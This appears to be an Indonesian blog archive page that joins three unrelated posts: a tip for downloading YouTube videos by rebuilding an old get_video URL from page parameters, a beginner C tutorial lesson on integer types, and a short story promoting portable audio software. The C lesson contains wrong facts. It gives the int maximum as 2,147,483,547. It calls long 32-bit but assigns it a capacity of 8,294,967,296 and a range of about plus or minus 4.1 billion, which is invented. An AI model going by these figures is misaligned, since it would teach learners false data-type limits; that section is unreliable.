cari file .swf ; .flv atau video_id nya langsung

contoh :
video_id:'AlHoLOfpKwg',l:'173',t:'OEgsToPDskLPRynbiMUpUWxgj0LAgTgW',sk:'hJIWUEDUyAaqUHgH-nP3tAU'};

saya mengeditnya terlebih dahulu di notepad agar tampak lebih mudah :P


=============================== start ========================================

video_id:'AlHoLOfpKwg',l:'173',t:'OEgsToPDskLPRynbiMUpUWxgj0LAgTgW',sk:'hJIWUEDUyAaqUHgH-nP3tAU'};

:' ganti dengan =
', ganti dengan = &

video_id=AlHoLOfpKwg&l=173&t=OEgsToPDskLPRynbiMUpUWxgj0LAgTgW&sk=hJIWUEDUyAaqUHgH-nP3tAU

ketemu !

http://youtube.com/get_video?video_id=AlHoLOfpKwg&l=173&t=OEgsToPDskLPRynbiMUpUWxgj0LAgTgW&sk=hJIWUEDUyAaqUHgH-nP3tAU

=============================== akhir ========================================

sekarang tinggal download deh :P

Lesson 3

Lesson 3
Variabel dan Tipe data

di lesson ke-2 gwa ada nyinggung-nyinggung soal vaiabel and tipe data.
Nah di lesson ke-3 ini kita bakal ngebahas sedikit lebih jauh mengenai variabel
dan tipe data.

Variabel itu sendiri adalah tempat untuk menyimpan data, ah berhubung jenis data itu
berbeda-beda jenisnya, maka suatu variabel harus ditentukan untuk tipe data apa dia
dipergunakan.

Tipe data sendiri terbagi menjadi 2 bagian besar
1. Tipe data sederhana (seperti Integer, Float, Pointer, dll)
2. Tipe data bentukan (Array, Struct, Union)

Nah untuk lesson ini kita membahas dulu tipe data sederhana Integer.

Integer merupakan tipe data yang digunakan untuk menyimpan data berupa bilangan bulat
contohnya : angka 1, 2, 25, 250, dan sebagainya

Di Bahasa C sendiri, dikenal beberapa jenis turunan tipe data integer yang dibedakan
dari daya tampungnya.

1. char
Tipe data ini memiliki ukuran 8 bit. Char memiliki daya tamung sebesar 256 dengan range
nilai dari -128 sampai 127. Kegunaan char untuk menyimpan karakter huruf atau tanda baca.

2. short
Tipe data ini memiliki ukuran 16 bit. short memiliki daya tampung sebesar 65.536 dengan range
nilai -32.768 sampai 32767.

3. int
Tipe data ini memiliki ukuran 32 bit. int memiliki daya tampung sebesar 4.294.967.296 dengan range
nilai -2.147.483.648 sampai 2.147.483.547.

4. long
Tipe data ini memiliki ukuran 32 bit. int memiliki daya tampung sebesar 8.294.967.296 dengan range
nilai -4.147.483.648 sampai 4.147.483.547.

=================================================================================================
Di lesson ke-4 nanti kita bakal tetap membahas mengenai tipe-tipe data kayaknya sih gwa bakal ngejelasin]
dulu mengenai float dan pointer. Baru ntar kita maju ke pembahasan mengenai tipe data bentukan.

Yang penting itu kita mengerti dulu mengenai dasar-dasarnya jadi untuk kedepannya kita tinggal
mengembangkannya aja

Selasa, 08 Januari 2008

Audio Portable


Audio Portable
Dibuat oleh vbbego
Disadur dari XXX Windows 2
Jack dan sky pergi ke warnet yang berada dekat sebuah kampus yang cukup populer di jakarta, disana banyak mahasiswa yang pinter dan jago itupun mereka tau dari seorang wanita penjaga warnet yang katanya masih kuliah semester tiga dan banyak mendapatkan pertolongan dari anak kampus itu sesudah memesan dua buah komputer, sky mulai bingung dengan aplikasi yang ada di drive d komputer tersebut disediakan sebuah folder yang isi lagu-lagu terbaru seperti gigi,slank dan t2 yang menjadi masalah dalam komputer itu tidak ada program winamp.Sky mulai bingung ketika ingin menyortir lagu yang ingin diambil karena ia tidak dapat mendengarkannya terlebih dahulu. Anehnya diwarnet ini menyediakan alat untuk mendengarkan lagu. Sky mulai melihat kepada Jack yang sedang main internet dengan kepala yang terus berputar-putar. Sky bertanya apakah Jack sedang main internet sambil mendengarkan lagu maka dijawab oleh jack yup.Ko bisa sih, apa sih yang menjadi rahasia yah ? Jack mempunyai portabel Audio.Kata Jack kepada Sky Jika kamu mempunyai program portable audio player portable, maka kamu tidak perlu merasa jengkel apabila kamu sedang menggunakan komputer umum yang tidak ada program audio player yah, karena kamu tinggal mencolok usb stick saja. Kamu dapat menikmati lagu dan musik yang audio playernya dieksekusi dari flashdisk kamu.Dunia portable sangat membantu kita dalam menjalankan hidup semakin hidup, tapi sayang yah dunia ini tidak lebih terkenal.Orang lebih suka program yang nempel pada komputer daripada yang tidak. Jack adalah temen yang saya julukkan Portabel Man.Isi komputer Jack sangat banyak program portabel yah diantara yah NOD 32 Portable,jet audio portabel , mozzila portabel,winrar portabel dan yang terakhir open office portabel.Program portabel yang lain akan kita bahas dalam minggu-minggu yang akan datang